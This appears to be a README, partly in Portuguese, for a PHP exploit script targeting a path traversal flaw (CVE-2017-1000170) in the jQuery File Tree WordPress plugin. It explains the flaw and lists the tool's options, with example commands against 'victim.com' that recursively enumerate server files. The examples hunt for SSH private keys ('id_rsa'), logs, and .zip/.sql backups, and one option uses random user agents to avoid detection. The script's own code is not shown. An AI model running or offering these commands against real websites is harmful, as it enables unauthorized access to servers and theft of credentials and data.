nickguitar/jquery-file-tree-1.6.6-path-traversalExploit de Path Traversal no Jquery File Tree 1.6.6 (CVE-2017-1000170)
Jquery File Tree 1.6.6 Path Traversal exploit (CVE-2017-1000170)
O plugin jQueryFileTree <1.6.6 para Wordpress, com as configurações padrão, falha ao analisar os dados do usuário, causando uma vulnerabilidade de path traversal.
Isso permite que um invasor liste todos os nomes de arquivos de todas as pastas legíveis do servidor web.
Combinado com um ataque de inclusão local de arquivos ou divulgação local de arquivos, isso pode levar ao download arbitrário de qualquer arquivo legível do servidor.
$ xpl_jqueryFileTree.php -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a]
Legend:
-h, --help: Show this message
-u, --url: URL of target
-a, --random-agent: Use random user agents
-f, --filter: Name of files or extensions to search for (separated by comma)
-p, --path: The full path from which the filenames will be read (default: /)
-r, --recursive: Generates the tree recursivelly (be careful)
e.g.: xpl_jqueryFileTree.php -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r
|
\-> This will search for all .zip and .sql files inside victim.com/backup/admin and its subpaths
(You must provide the dot to indicate it's an extension)
xpl_jqueryFileTree.php -u victim.com -f .log,id_rsa -a -r
|
\-> This will search for all files named "id_rsa" or having the extension
".log" within all folders of the server, with random user-agents
Tip: use "php ..... | tee output" to save the result to an output file
